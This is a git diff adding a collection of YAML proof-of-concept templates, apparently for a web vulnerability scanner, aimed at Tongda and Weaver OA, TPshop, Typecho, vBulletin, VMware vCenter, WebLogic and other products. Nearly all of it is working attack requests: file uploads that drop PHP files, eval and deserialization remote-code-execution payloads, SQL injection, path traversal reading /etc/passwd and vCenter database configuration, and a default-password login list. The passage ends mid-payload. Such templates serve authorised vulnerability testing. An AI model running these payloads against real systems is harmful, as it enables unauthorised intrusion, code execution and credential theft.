0000000..d88044e --- /dev/null +++ b/webscan/pocs/tongda-oa-v11.9-api.ali.php-upload.yml @@ -0,0 +1,41 @@ +name: poc-yaml-tongda-oa-v11.9-api.ali.php-fileupload +set: + filename: randomLowercase(8) + r1: randomLowercase(8) + payload: base64("file_put_contents('../../"+filename+".php','');") + rboundary: md5(randomLowercase(8)) + date: TDdate() +rules: + - method: POST + path: /mobile/api/api.ali.php + headers: + Content-Type: multipart/form-data; boundary={{rboundary}} + Accept-Encoding: gzip + follow_redirects: false + body: "\ + --{{rboundary}}\r\n\ + Content-Disposition: form-data; name=\"file\"; filename=\"{{filename}}.json\"\r\n\ + Content-Type: application/octet-stream\r\n\ + \r\n\ + {\"modular\":\"AllVariable\",\"a\":\"{{payload}}\",\"dataAnalysis\":\"{\\\"a\\\":\\\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\\\"}\"}\r\n\ + --{{rboundary}}--\r\n\ + " + expression: | + response.status == 200 + + - method: GET + path: /inc/package/work.php?id=../../../../../myoa/attach/approve_center/{{date}}/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.{{filename}} + expression: | + response.status == 200 && response.body.bcontains(b'OK') + + - method: GET + path: /{{filename}}.php + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r1))) + +detail: + author: PeiQi0 + influence_version: "<= 通达OA 11.9" + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.8%20api.ali.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md + tags: tongda,fileupload diff --git a/webscan/pocs/tongda-user-session-disclosure.yml b/webscan/pocs/tongda-user-session-disclosure.yml new file mode 100644 index 0000000..831c7ef --- /dev/null +++ b/webscan/pocs/tongda-user-session-disclosure.yml @@ -0,0 +1,13 @@ +name: tongda-user-session-disclosure +rules: + - method: GET + path: /mobile/auth_mobi.php?isAvatar=1&uid=11121212121212&P_VER=0 + expression: response.body.bcontains(b'RELOGIN') && response.status == 200 +detail: + author: kzaopa(https://github.com/kzaopa) + description: | + 通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统 + links: + - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v11.7%20auth_mobi.php%20%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E.html + - https://www.cnblogs.com/T0uch/p/14475551.html + - https://s1xhcl.github.io/2021/03/13/%E9%80%9A%E8%BE%BEOA-v11-7-%E5%9C%A8%E7%BA%BF%E7%94%A8%E6%88%B7%E7%99%BB%E5%BD%95%E6%BC%8F%E6%B4%9E/ diff --git a/webscan/pocs/tongda-v2017-uploadfile.yml b/webscan/pocs/tongda-v2017-uploadfile.yml new file mode 100644 index 0000000..e737d72 --- /dev/null +++ b/webscan/pocs/tongda-v2017-uploadfile.yml @@ -0,0 +1,50 @@ +name: tongda-v2017-uploadfile +set: + rand1: randomLowercase(12) + fileContent: randomLowercase(12) +rules: + - method: POST + path: /module/ueditor/php/action_upload.php?action=uploadfile + headers: + Content-Type: multipart/form-data; boundary=55719851240137822763221368724 + body: | + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[fileFieldName]" + + ffff + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[fileMaxSize]" + + 1000000000 + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[filePathFormat]" + + tcmd + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="CONFIG[fileAllowFiles][]" + + .txt + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="ffff"; filename="{{rand1}}.txt" + Content-Type: application/octet-stream + + {{fileContent}} + -----------------------------55719851240137822763221368724 + Content-Disposition: form-data; name="mufile" + + submit + -----------------------------55719851240137822763221368724-- + expression: | + response.status == 200 + - method: GET + path: /{{rand1}}.txt + expression: | + response.status == 200 && response.body.bcontains(bytes(fileContent)) +detail: + author: zan8in + description: | + 通达OA v2017 action_upload.php 任意文件上传漏洞 + 通达OA v2017 action_upload.php 文件过滤不足且无需后台权限,导致任意文件上传漏洞 + app="TDXK-通达OA" + links: + - http://wiki.peiqi.tech/wiki/oa/%E9%80%9A%E8%BE%BEOA/%E9%80%9A%E8%BE%BEOA%20v2017%20action_upload.php%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/tpshop-directory-traversal.yml b/webscan/pocs/tpshop-directory-traversal.yml new file mode 100644 index 0000000..5e2f355 --- /dev/null +++ b/webscan/pocs/tpshop-directory-traversal.yml @@ -0,0 +1,17 @@ +name: poc-yaml-tpshop-directory-traversal +rules: + - method: GET + path: /index.php/Home/uploadify/fileList?type=.+&path=../ + headers: + Accept-Encoding: 'deflate' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string("\"state\":\"SUCCESS\""))) && response.body.bcontains(bytes(string("total"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: 'TPshop' + links: + - https://mp.weixin.qq.com/s/3MkN4ZuUYpP2GgPbTzrxbA + - http://www.tp-shop.cn + exploit: + - https://localhost/index.php/Home/uploadify/fileList?type=.+&path=../../ diff --git a/webscan/pocs/tpshop-sqli.yml b/webscan/pocs/tpshop-sqli.yml new file mode 100644 index 0000000..51fb7d1 --- /dev/null +++ b/webscan/pocs/tpshop-sqli.yml @@ -0,0 +1,15 @@ +name: poc-yaml-tpshop-sqli +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: >- + /mobile/index/index2/id/1) and (select 1 from (select count(*),concat(0x716b627671,(select md5({{r}})),0x716b627671,floor(rand(0)*2))x from information_schema.tables group by x)a)-- + follow_redirects: true + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + author: hanxiansheng26(https://github.com/hanxiansheng26) + Affected Version: "tpshop<3.0" + links: + - https://xz.aliyun.com/t/6635 \ No newline at end of file diff --git a/webscan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml b/webscan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml new file mode 100644 index 0000000..3b114d0 --- /dev/null +++ b/webscan/pocs/tvt-nvms-1000-file-read-cve-2019-20085.yml @@ -0,0 +1,16 @@ +name: poc-yaml-tvt-nvms-1000-file-read-cve-2019-20085 +manual: true +transport: http +rules: + - method: GET + path: /Pages/login.htm + expression: response.status == 200 && response.body.bcontains(b"NVMS-1000") + + - method: GET + path: /../../../../../../../../../../../../windows/win.ini + expression: response.status == 200 && response.body.bcontains(b"for 16-bit app support") + +detail: + author: fuzz7j(https://github.com/fuzz7j) + links: + - https://www.exploit-db.com/exploits/47774 diff --git a/webscan/pocs/typecho-rce.yml b/webscan/pocs/typecho-rce.yml new file mode 100644 index 0000000..96543ba --- /dev/null +++ b/webscan/pocs/typecho-rce.yml @@ -0,0 +1,21 @@ +name: poc-yaml-typecho-rce +set: + referer: request.url + random_str: randomLowercase(4) + payload: base64(urldecode("a%3A2%3A%7Bs%3A7%3A%22adapter%22%3BO%3A12%3A%22Typecho_Feed%22%3A2%3A%7Bs%3A19%3A%22%00Typecho_Feed%00_type%22%3Bs%3A8%3A%22ATOM+1.0%22%3Bs%3A20%3A%22%00Typecho_Feed%00_items%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bs%3A8%3A%22category%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7Ds%3A6%3A%22author%22%3BO%3A15%3A%22Typecho_Request%22%3A2%3A%7Bs%3A24%3A%22%00Typecho_Request%00_params%22%3Ba%3A1%3A%7Bs%3A10%3A%22screenName%22%3Bs%3A18%3A%22print%28md5%28%27" + random_str + "%27%29%29%22%3B%7Ds%3A24%3A%22%00Typecho_Request%00_filter%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22assert%22%3B%7D%7D%7D%7D%7Ds%3A6%3A%22prefix%22%3Bs%3A8%3A%22typecho_%22%3B%7D")) +rules: + - method: POST + path: /install.php?finish + headers: + Referer: '{{referer}}' + body: >- + __typecho_config={{payload}} + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(bytes(md5(random_str))) +detail: + author: last0monster(https://github.com/last0monster) + effect_version: typecho < 1.1(17.10.24) + links: + - https://www.freebuf.com/vuls/155753.html + - https://www.freebuf.com/vuls/152058.html \ No newline at end of file diff --git a/webscan/pocs/ueditor-cnvd-2017-20077-file-upload.yml b/webscan/pocs/ueditor-cnvd-2017-20077-file-upload.yml new file mode 100644 index 0000000..19b9ba6 --- /dev/null +++ b/webscan/pocs/ueditor-cnvd-2017-20077-file-upload.yml @@ -0,0 +1,17 @@ +name: poc-yaml-ueditor-cnvd-2017-20077-file-upload +rules: + - method: GET + path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8 + headers: + Accept-Encoding: 'deflate' + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源"))) +detail: + author: 清风明月(www.secbook.info) + influence_version: 'UEditor v1.4.3.3' + links: + - https://zhuanlan.zhihu.com/p/85265552 + - https://www.freebuf.com/vuls/181814.html + exploit: >- + http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8 diff --git a/webscan/pocs/uwsgi-cve-2018-7490.yml b/webscan/pocs/uwsgi-cve-2018-7490.yml new file mode 100644 index 0000000..d646742 --- /dev/null +++ b/webscan/pocs/uwsgi-cve-2018-7490.yml @@ -0,0 +1,10 @@ +name: poc-yaml-uwsgi-cve-2018-7490 +rules: + - method: GET + path: /..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/uwsgi/CVE-2018-7490 \ No newline at end of file diff --git a/webscan/pocs/vbulletin-cve-2019-16759-bypass.yml b/webscan/pocs/vbulletin-cve-2019-16759-bypass.yml new file mode 100644 index 0000000..66eda45 --- /dev/null +++ b/webscan/pocs/vbulletin-cve-2019-16759-bypass.yml @@ -0,0 +1,17 @@ +name: poc-yaml-vbulletin-cve-2019-16759-bypass +set: + f1: randomInt(800000000, 900000000) +rules: + - method: POST + path: /ajax/render/widget_tabbedcontainer_tab_panel + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + subWidgets[0][template]=widget_php&subWidgets[0][config][code]=var_dump(md5({{f1}})); + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(substr(md5(string(f1)), 0, 31))) && response.content_type.contains("application/json") +detail: + author: Loneyer + links: + - https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/ diff --git a/webscan/pocs/vbulletin-cve-2019-16759.yml b/webscan/pocs/vbulletin-cve-2019-16759.yml new file mode 100644 index 0000000..06872f0 --- /dev/null +++ b/webscan/pocs/vbulletin-cve-2019-16759.yml @@ -0,0 +1,19 @@ +name: poc-yaml-vbulletin-cve-2019-16759 +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: / + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + routestring=ajax/render/widget_php&widgetConfig%5bcode%5d=print(md5({{rand}}))%3bexit%3b + follow_redirects: true + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: JingLing(https://hackfun.org/) + vbulletion_version: 5.0.0 - 5.5.4 + links: + - https://securityaffairs.co/wordpress/91689/hacking/unpatched-critical-0-day-vbulletin.html + - https://xz.aliyun.com/t/6419 diff --git a/webscan/pocs/vmware-vcenter-arbitrary-file-read.yml b/webscan/pocs/vmware-vcenter-arbitrary-file-read.yml new file mode 100644 index 0000000..d831b24 --- /dev/null +++ b/webscan/pocs/vmware-vcenter-arbitrary-file-read.yml @@ -0,0 +1,18 @@ +name: poc-yaml-vmware-vcenter-arbitrary-file-read +groups: + win: + - method: GET + path: /eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"org.postgresql.Driver") + linux: + - method: GET + path: /eam/vib?id=/etc/passwd + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: MrP01ntSun(https://github.com/MrPointSun) + links: + - https://t.co/LfvbyBUhF5 diff --git a/webscan/pocs/vmware-vcenter-cve-2021-21985-rce.yml b/webscan/pocs/vmware-vcenter-cve-2021-21985-rce.yml new file mode 100644 index 0000000..08fc00b --- /dev/null +++ b/webscan/pocs/vmware-vcenter-cve-2021-21985-rce.yml @@ -0,0 +1,33 @@ +name: poc-yaml-vmware-vcenter-cve-2021-21985-rce +rules: + - method: POST + path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData + headers: + Content-Type: application/json + body: | + {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a + expression: | + response.status == 200 && response.body.bcontains(b"{\"result\":{\"") && response.headers["set-Cookie"].contains("VSPHERE-UI-JSESSIONID") + - method: POST + path: /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages + headers: + Content-Type: application/json + body: | + {"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIADihc1Okxc3arAEAAI8EAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT+MwFLxX4j+YIFWNRG0+biWJBOxlJVZC2z0gIQ6O+5qYdeysn9MUIf77unGBfoFUyCXOezMvM2M7yYFrJPNKaUyj0rl6xFjbthRrK3UxtbyC1ti/1NiCoSih4qyjRAc9Ep6OO5qjXOO35x3l7OTklN39uhl31KHU6LgWsMJGOQpzb4zgThqdvjb3ULMPlgXAsPugc5xEWfhhsqgQOUmjOo+IUBx9JI98xqniuqC31ghAvGqkmoB9JXVEYbwv2whn7JDbYqXlm0qiW6v42oyrBjKWS81yjmXCQmEnaig+bSeH99c/Lv9c3pO2NLyS5Czrn5KHh2wXK2EbahK2W3vSZbUVjMT1YKShP3XduLGzwKvfwPdJ5s3C0XOdU38wrBvEtAC3MnIQv2z72FN0brdEXzXTKViYfF2xxO8LE0YpWEA3Um2cVD6PhX96/Y7JPhiDT+ig2nFix6GxKrC2pgbrnoj21yON2pI7mPkESGcljY6eSRhHEdztEjzo/2uMuzCN8/sS1sckt1RJDei3bOlj8O6HPhqp/SVbMg964R3HMXmJ2GYqYYF+9R9QSwECFAAUAAAACAA4oXNTpMXN2qwBAACPBAAAEgAAAAAAAAAAAAAAtoEAAAAAb2ZmbGluZV9idW5kbGUueG1sUEsFBgAAAAABAAEAQAAAANwBAAAAAA==%23"]]} + expression: | + response.status == 200 + - method: POST + path: /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty + headers: + Content-Type: application/json + body: | + {"methodInput": ["output", null]} + expression: | + response.status == 200 && response.body.bcontains(b"{\"result\":") && !response.body.bcontains(b"null") +detail: + vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData" + author: envone77 + description: "vmware vCenter unauth RCE cve-2021-21985" + links: + - https://www.anquanke.com/post/id/243098 + - https://github.com/alt3kx/CVE-2021-21985_PoC diff --git a/webscan/pocs/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml b/webscan/pocs/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml new file mode 100644 index 0000000..c2ed9a9 --- /dev/null +++ b/webscan/pocs/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml @@ -0,0 +1,16 @@ +name: poc-yaml-vmware-vcenter-unauthorized-rce-cve-2021-21972 +rules: + - method: GET + path: /ui/vropspluginui/rest/services/uploadova + follow_redirects: false + expression: | + response.status == 405 && response.body.bcontains(b"Method Not Allowed") + - method: GET + path: /ui/vropspluginui/rest/services/getstatus + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"States") && response.body.bcontains(b"Install Progress") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://swarm.ptsecurity.com/unauth-rce-vmware/ \ No newline at end of file diff --git a/webscan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml b/webscan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml new file mode 100644 index 0000000..c639f7e --- /dev/null +++ b/webscan/pocs/vmware-vrealize-cve-2021-21975-ssrf.yml @@ -0,0 +1,15 @@ +name: poc-yaml-vmware-vrealize-cve-2021-21975-ssrf +rules: + - method: POST + path: /casa/nodes/thumbprints + headers: + Content-Type: application/json + body: | + ["127.0.0.1:443/ui/"] + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes("vRealize Operations Manager")) +detail: + author: Loneyer + links: + - https://www.vmware.com/security/advisories/VMSA-2021-0004.html diff --git a/webscan/pocs/weaver-E-Cology-getSqlData-sqli.yml b/webscan/pocs/weaver-E-Cology-getSqlData-sqli.yml new file mode 100644 index 0000000..f5c08ad --- /dev/null +++ b/webscan/pocs/weaver-E-Cology-getSqlData-sqli.yml @@ -0,0 +1,13 @@ +name: poc-yaml-weaver-E-Cology-getSqlData-sqli +rules: + - method: GET + path: /Api/portal/elementEcodeAddon/getSqlData?sql=select%20@@version + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b'Microsoft SQL Server') + +detail: + author: PeiQi0 + links: + - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/oa/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20E-Cology%20getSqlData%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md + tags: weaver,sqli diff --git a/webscan/pocs/weaver-ebridge-file-read.yml b/webscan/pocs/weaver-ebridge-file-read.yml new file mode 100644 index 0000000..55d0ffb --- /dev/null +++ b/webscan/pocs/weaver-ebridge-file-read.yml @@ -0,0 +1,34 @@ +name: poc-yaml-weaver-ebridge-file-read +groups: + linux: + - method: GET + path: "/wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///etc/passwd&fileExt=txt" + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") + search: | + \"id\"\:\"(?P.+?)\"\, + - method: GET + path: "/file/fileNoLogin/{{var}}" + follow_redirects: false + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + + windows: + - method: GET + path: /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///c://windows/win.ini&fileExt=txt + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"id") + search: | + \"id\"\:\"(?P.+?)\"\, + - method: GET + path: /file/fileNoLogin/{{var}} + follow_redirects: false + expression: | + response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) +detail: + author: mvhz81 + info: e-bridge-file-read for Linux + links: + - https://mrxn.net/Infiltration/323.html diff --git a/webscan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml b/webscan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml new file mode 100644 index 0000000..1e69877 --- /dev/null +++ b/webscan/pocs/weaver-oa-eoffice-v9-upload-getshell.yml @@ -0,0 +1,25 @@ +name: poc-yaml-weaver-oa-eoffice-v9-upload-getshell +manual: true +transport: http +set: + r1: randomLowercase(8) +rules: + - method: POST + path: /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= + headers: + Content-Type: multipart/form-data;boundary=e64bdf16c554bbc109cecef6451c26a4 + body: |- + --e64bdf16c554bbc109cecef6451c26a4 + Content-Disposition: form-data; name="Filedata"; filename="test.php" + Content-Type: image/jpeg + {{r1}} + --e64bdf16c554bbc109cecef6451c26a4-- + expression: response.status == 200 && response.body.bcontains(b"logo-eoffice.php") + - method: GET + path: /images/logo/logo-eoffice.php + follow_redirects: true + expression: response.status == 200 && response.body.bcontains(bytes(r1)) +detail: + author: szd790056181 + links: + - http://www.ctfiot.com/13682.html diff --git a/webscan/pocs/weblogic-console-weak.yml b/webscan/pocs/weblogic-console-weak.yml new file mode 100644 index 0000000..99b5151 --- /dev/null +++ b/webscan/pocs/weblogic-console-weak.yml @@ -0,0 +1,29 @@ +name: poc-yaml-weblogic-console-weak +sets: + username: + - weblogic + password: + - weblogic + - weblogic1 + - welcome1 + - Oracle@123 + - weblogic123 + payload: + - UTF-8 +rules: + - method: HEAD + path: /console/j_security_check + follow_redirects: false + expression: | + response.status == 302 && response.headers['Set-Cookie'].contains("ADMINCONSOLESESSION") + - method: POST + path: /console/j_security_check + follow_redirects: false + headers: + Content-type: application/x-www-form-urlencoded + body: | + j_username={{username}}&j_password={{password}}&j_character_encoding={{payload}} + expression: | + !response.body.bcontains(b"LoginForm.jsp") +detail: + author: shadown1ng(https://github.com/shadown1ng) \ No newline at end of file diff --git a/webscan/pocs/weblogic-cve-2017-10271.yml b/webscan/pocs/weblogic-cve-2017-10271.yml new file mode 100644 index 0000000..3f5908f --- /dev/null +++ b/webscan/pocs/weblogic-cve-2017-10271.yml @@ -0,0 +1,34 @@ +name: poc-yaml-weblogic-cve-2017-10271 +set: + reverse: newReverse() + reverseURL: reverse.url +groups: + reverse: + - method: POST + path: /wls-wsat/CoordinatorPortType + headers: + Content-Type: text/xml + body: >- + {{reverseURL}} + follow_redirects: true + expression: > + reverse.wait(5) + + echo: + - method: POST + path: /wls-wsat/CoordinatorPortType + headers: + Content-Type: text/xml + body: >- + 505053555551485749 + follow_redirects: true + expression: > + response.body.bcontains(b"225773091") +detail: + vulnpath: "/wls-wsat/CoordinatorPortType" + author: fnmsd(https://github.com/fnmsd) + description: "Weblogic wls-wsat XMLDecoder deserialization RCE CVE-2017-10271" + links: + - https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2017-10271 + - https://github.com/QAX-A-Team/WeblogicEnvironment + - https://xz.aliyun.com/t/5299 diff --git a/webscan/pocs/weblogic-cve-2019-2725.yml b/webscan/pocs/weblogic-cve-2019-2725.yml new file mode 100644 index 0000000..79e49e5 --- /dev/null +++ b/webscan/pocs/weblogic-cve-2019-2725.yml @@ -0,0 +1,15082 @@ +name: poc-yaml-weblogic-cve-2019-2725 +groups: + v12: + - method: POST + path: /wls-wsat/CoordinatorPortType + headers: + Content-Type: text/xml + body: >- + fffhelloorg.slf4j.ext.EventDataconnectionHandlertrue505053555551485749]]> + follow_redirects: true + expression: > + response.body.bcontains(b"225773091") + v10: + - method: POST + path: /wls-wsat/CoordinatorPortType + headers: + Content-Type: text/xml + cmd: whoami + body: |- + + + + + + + + + oracle.toplink.internal.sessions.UnitOfWorkChangeSet + + + + -84 + + + -19 + + + 0 + + + 5 + + + 115 + + + 114 + + + 0 + + + 23 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 76 + + + 105 + + + 110 + + + 107 + + + 101 + + + 100 + + + 72 + + + 97 + + + 115 + + + 104 + + + 83 + + + 101 + + + 116 + + + -40 + + + 108 + + + -41 + + + 90 + + + -107 + + + -35 + + + 42 + + + 30 + + + 2 + + + 0 + + + 0 + + + 120 + + + 114 + + + 0 + + + 17 + + + 106 + + + 97 + + + 118 + + + 97 + + + 46 + + + 117 + + + 116 + + + 105 + + + 108 + + + 46 + + + 72 + + + 97 + + + 115 + + + 104 + + + 83 + + + 101 + + + 116 + + + -70 + + + 68 + + + -123 + + + -107 + + + -106 + + + -72 + + + -73 + + + 52 + + + 3 + + + 0 + + + 0 + + + 120 + + + 112 + + + 119 + + + 12 + + + 0 + + + 0 + + + 0 + + + 16 + + + 63 + + + 64 + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + 2 + + + 115 + + + 114 + + + 0 + + + 58 + + + 99 + + + 111 + + + 109 + + + 46 + + + 115 + + + 117 + + + 110 + + + 46 + + + 111 + + + 114 + + + 103 + + + 46 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 46 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 46 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 46 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 46 + + + 116 + + + 114 + + + 97 + + + 120 + + + 46 + + + 84 + + + 101 + + + 109 + + + 112 + + + 108 + + + 97 + + + 116 + + + 101 + + + 115 + + + 73 + + + 109 + + + 112 + + + 108 + + + 9 + + + 87 + + + 79 + + + -63 + + + 110 + + + -84 + + + -85 + + + 51 + + + 3 + + + 0 + + + 9 + + + 73 + + + 0 + + + 13 + + + 95 + + + 105 + + + 110 + + + 100 + + + 101 + + + 110 + + + 116 + + + 78 + + + 117 + + + 109 + + + 98 + + + 101 + + + 114 + + + 73 + + + 0 + + + 14 + + + 95 + + + 116 + + + 114 + + + 97 + + + 110 + + + 115 + + + 108 + + + 101 + + + 116 + + + 73 + + + 110 + + + 100 + + + 101 + + + 120 + + + 90 + + + 0 + + + 21 + + + 95 + + + 117 + + + 115 + + + 101 + + + 83 + + + 101 + + + 114 + + + 118 + + + 105 + + + 99 + + + 101 + + + 115 + + + 77 + + + 101 + + + 99 + + + 104 + + + 97 + + + 110 + + + 105 + + + 115 + + + 109 + + + 76 + + + 0 + + + 25 + + + 95 + + + 97 + + + 99 + + + 99 + + + 101 + + + 115 + + + 115 + + + 69 + + + 120 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 83 + + + 116 + + + 121 + + + 108 + + + 101 + + + 115 + + + 104 + + + 101 + + + 101 + + + 116 + + + 116 + + + 0 + + + 18 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 83 + + + 116 + + + 114 + + + 105 + + + 110 + + + 103 + + + 59 + + + 76 + + + 0 + + + 11 + + + 95 + + + 97 + + + 117 + + + 120 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 101 + + + 115 + + + 116 + + + 0 + + + 59 + + + 76 + + + 99 + + + 111 + + + 109 + + + 47 + + + 115 + + + 117 + + + 110 + + + 47 + + + 111 + + + 114 + + + 103 + + + 47 + + + 97 + + + 112 + + + 97 + + + 99 + + + 104 + + + 101 + + + 47 + + + 120 + + + 97 + + + 108 + + + 97 + + + 110 + + + 47 + + + 105 + + + 110 + + + 116 + + + 101 + + + 114 + + + 110 + + + 97 + + + 108 + + + 47 + + + 120 + + + 115 + + + 108 + + + 116 + + + 99 + + + 47 + + + 114 + + + 117 + + + 110 + + + 116 + + + 105 + + + 109 + + + 101 + + + 47 + + + 72 + + + 97 + + + 115 + + + 104 + + + 116 + + + 97 + + + 98 + + + 108 + + + 101 + + + 59 + + + 91 + + + 0 + + + 10 + + + 95 + + + 98 + + + 121 + + + 116 + + + 101 + + + 99 + + + 111 + + + 100 + + + 101 + + + 115 + + + 116 + + + 0 + + + 3 + + + 91 + + + 91 + + + 66 + + + 91 + + + 0 + + + 6 + + + 95 + + + 99 + + + 108 + + + 97 + + + 115 + + + 115 + + + 116 + + + 0 + + + 18 + + + 91 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 108 + + + 97 + + + 110 + + + 103 + + + 47 + + + 67 + + + 108 + + + 97 + + + 115 + + + 115 + + + 59 + + + 76 + + + 0 + + + 5 + + + 95 + + + 110 + + + 97 + + + 109 + + + 101 + + + 113 + + + 0 + + + 126 + + + 0 + + + 4 + + + 76 + + + 0 + + + 17 + + + 95 + + + 111 + + + 117 + + + 116 + + + 112 + + + 117 + + + 116 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 105 + + + 101 + + + 115 + + + 116 + + + 0 + + + 22 + + + 76 + + + 106 + + + 97 + + + 118 + + + 97 + + + 47 + + + 117 + + + 116 + + + 105 + + + 108 + + + 47 + + + 80 + + + 114 + + + 111 + + + 112 + + + 101 + + + 114 + + + 116 + + + 105 + + + 101 + + + 115 + + + 59 + + + 120 + + + 112 + + + 0 + + + 0 + + + 0 + + + 0 + + + -1 + + + -1 + + + -1 + + + -1 + + + 0 + + + 116 + + + 0 + + + 3 + + + 97 + + + 108 + + + 108 + + + 112 + + + 117 + + + 114 + + + 0 + + + 3 + + + 91 + + + 91 + + + 66 + + + 75 + + + -3 + + + 25 + + + 21 + + + 103 + + + 103 + + + -37 + + + 55 + + + 2 + + + 0 + + + 0 + + + 120 + + + 112 + + + 0 + + + 0 + + + 0 + + + 2 + + + 117 + + + 114 + + + 0 + + + 2 + + + 91 + + + 66 + + + -84 + + + -13 + + + 23 + + + -8 + + + 6 + + + 8 + + + 84 + + + -32 + + + 2 + + + 0 + + + 0 + + + 120 + + + 112 + + + 0 + + + 0 + + + 14 + + + 29 + + + -54 + + + -2 + + + -70 + + + -66 + + + 0 + + + 0 + + + 0 + + + 50 + + + 0 + + + -70 + + + 10 + + + 0 + + 